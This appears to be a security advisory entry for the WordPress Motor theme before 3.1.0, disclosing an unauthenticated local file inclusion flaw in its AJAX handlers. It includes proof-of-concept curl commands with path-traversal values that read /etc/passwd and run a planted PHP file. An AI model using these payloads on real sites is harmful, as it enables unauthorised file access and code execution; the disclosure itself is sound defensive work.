Themes Vulnerabilities

Motor theme < 3.1.0 - Unauthenticated Local File Inclusion

Description

Lack of authentication or validation in motor_load_more, motor_gallery_load_more, motor_quick_view and motor_project_quick_view AJAX handlers of the theme allows an unauthenticated attacker access to arbitrary files in the server file system, and to execute arbitrary php scripts found on the server file system. We found no vulnerability for uploading files with this theme, so any scripts to be executed must already be on the server file system.

Proof of Concept

# Remote file access:

# Motor theme v2.0.0:
% curl -i -F 'file=../../../../../../etc/passwd' -F 'action=motor_load_more' localhost:8888/wp-admin/admin-ajax.php
% curl -i -F 'file=../../../../../../etc/passwd' -F 'action=motor_gallery_load_more' localhost:8888/wp-admin/admin-ajax.php
% curl -i -F 'file=../../../../../../etc/passwd' -F 'action=motor_quick_view' 'localhost:8888/wp-admin/admin-ajax.php?product_id=42'

# Motor theme v3.0.0:
% curl -i -F 'file=/etc/passwd' -F 'action=motor_load_more' localhost:8888/wp-admin/admin-ajax.php

# Remote code execution

Given a file malicious.php with the following content, located anywhere in the file system: <?php echo 'PWNED!' ?>

PoC:
# Motor theme v2.0.0:
% curl -F 'file=../../../malicious.php' -F 'action=motor_load_more' 'localhost:8888/wp-admin/admin-ajax.php'
PWNED!

% curl -F 'file=../../../malicious.php' -F 'action=motor_gallery_load_more' 'localhost:8888/wp-admin/admin-ajax.php'
PWNED!

% curl -F 'file=../../../malicious.php' -F 'action=motor_quick_view' 'localhost:8888/wp-admin/admin-ajax.php?product_id=42'
PWNED!

# Motor theme v3.0.0:
% curl -F 'file=../../../malicious.php' -F 'action=motor_load_more' 'localhost:8888/wp-admin/admin-ajax.php'
PWNED!

% curl -F 'file=../../../malicious' -F 'action=motor_quick_view' 'localhost:8888/wp-admin/admin-ajax.php?product_id=42'
PWNED!

% curl -F 'file=../../../malicious' -F 'action=motor_project_quick_view' 'localhost:8888/wp-admin/admin-ajax.php?project_id=42'
PWNED!

Affects Themes

Fixed in 3.1.0

References

Classification

Type
LFI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Harald Eilertsen (Jetpack)
Verified
Yes

Timeline

Publicly Published
2021-06-09 (about 2 years ago)
Added
2021-06-09 (about 2 years ago)
Last Updated
2021-06-17 (about 2 years ago)

Other